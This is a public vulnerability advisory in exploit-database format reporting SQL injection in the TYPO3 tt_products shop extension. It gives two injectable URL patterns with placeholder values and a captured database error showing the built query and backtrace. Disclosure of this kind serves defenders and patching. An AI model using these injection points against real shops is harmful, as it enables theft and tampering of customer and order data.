Typo3 CMS Shop System tt_products 2.9.4 SQL Injection

`##############################################################################################  
  
# Exploit Title : Typo3 CMS Shop System tt_products 2.9.4 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 18/02/2019  
# Vendor Homepage : ttproducts.de ~ jambage.com ~ typo3.org  
# Software Download Links :   
extensions.typo3.org/extension/download/tt_products/2.9.4/zip/  
extensions.typo3.org/extension/download/tt_products/2.6.9/zip/  
# Software Information Link : extensions.typo3.org/extension/tt_products/  
# Software Affected Versions : From 2.6.9 to 2.9.4 / All Versions  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
##############################################################################################  
  
# Description about Software :  
***************************  
New versions at ttproducts.de. Documented in E-Book "Der TYPO3-Webshop" -   
  
Shop with listing in multiple languages, with order tracking, photo gallery, DAM,   
  
product variants, credit card payment and bank accounts, bill, creditpoint,   
  
voucher system and gift certificates. Latest updates at ttproducts.de.  
  
##############################################################################################  
  
# Impact :  
***********  
Typo3 Shop System tt_products 2.9.4 [ and other versions ]  
  
extension for TYPO3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize   
  
user-supplied data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application,   
  
access or modify data, or exploit latent vulnerabilities in the underlying database.  
  
A remote attacker can send a specially crafted request to the vulnerable application   
  
and execute arbitrary SQL commands in application`s database.  
  
Further exploitation of this vulnerability may result in unauthorized data manipulation.  
  
An attacker can exploit this issue using a browser.  
  
##############################################################################################  
  
# SQL Injection Exploit :  
**********************  
  
/index.php?id=[ID-NUMBER]&L=[ID-NUMBER]&tt_products%5BbackPID%5D=[ID-NUMBER]&tt_products%5Bproduct%5D=[ID-NUMBER]&cHash=[SQL Injection]  
  
/shop.html?tt_products%5Barea%5D=energi&tt_products%5Bbegin_at%5D=[ID-NUMBER]&cHash=[SQL Injection]  
  
##############################################################################################  
  
# Example SQL Database Error :  
****************************  
  
exec_SELECTquery  
---------------------------  
  
caller  
*******   
  
TYPO3\CMS\Core\Database\DatabaseConnection::exec_SELECTquery  
  
ERROR  
*********  
  
Unknown column 'textslang.t3ver_label' in 'field list'  
  
lastBuiltQuery  
************   
SELECT texts.uid uid,textslang.pid pid,textslang.tstamp tstamp,  
textslang.crdate crdate,textslang.deleted deleted,textslang.t3ver_label t3ver_label,  
textslang.sorting sorting,textslang.hidden hidden,textslang.starttime starttime,textslang  
.endtime endtime,textslang.fe_group fe_group,textslang.title title,texts.marker marker,  
textslang.note note,texts.parentid parentid,texts.parenttable parenttable,textslang.  
sys_language_uid sys_language_uid,textslang.text_uid text_uid FROM tt_products_  
texts texts,tt_products_texts_language textslang WHERE texts.uid = textslang.text_  
uid AND 1=1 AND(texts.parentid = 672 AND texts.parenttable='tt_products' AND  
texts.marker IN('ZUSATZ'))AND textslang.deleted=0 AND textslang.hidden=0   
AND(textslang.starttime<=1550505837)AND(textslang.endtime=0 OR textslang.  
endtime>1550505837)AND textslang.fe_group IN(' ',0,-1)   
AND textslang.sys_language_uid=1  
  
SELECT uid_local FROM tt_products_tx_onextttproductsarea_coursecat_mm WHERE uid_foreign = energi  
  
debug_backtrace  
***************   
  
require(typo3/sysext/cms/tslib/index_ts.php),index.php#28   
// TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController->INTincScript#232  
// TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController->  
recursivelyReplaceIntPlaceholdersInContent#3646 // TYPO3\CMS\Frontend  
\Controller\TypoScriptFrontendController->INTincScript_process#3679   
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->USER#3731   
// TYPO3\CMS\Frontend\ContentObject\UserContentObject->render#862  
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->callUserFunction#41  
// call_user_func_array#6663 // tx_ttproducts_pi1_base->main#   
// tx_ttproducts_main->run#72 // tx_ttproducts_main->products_display#588   
// tx_ttproducts_single_view->printView#1053 // tx_ttproducts_text->getChildUidArray#328   
// tx_ttproducts_table_base->get#118 // tx_table_db->exec_SELECTquery#185   
// TYPO3\CMS\Core\Database\DatabaseConnection->exec_SELECTquery#1471   
// TYPO3\CMS\Core\Database\DatabaseConnection->debug#305  
  
##############################################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
##############################################################################################  
`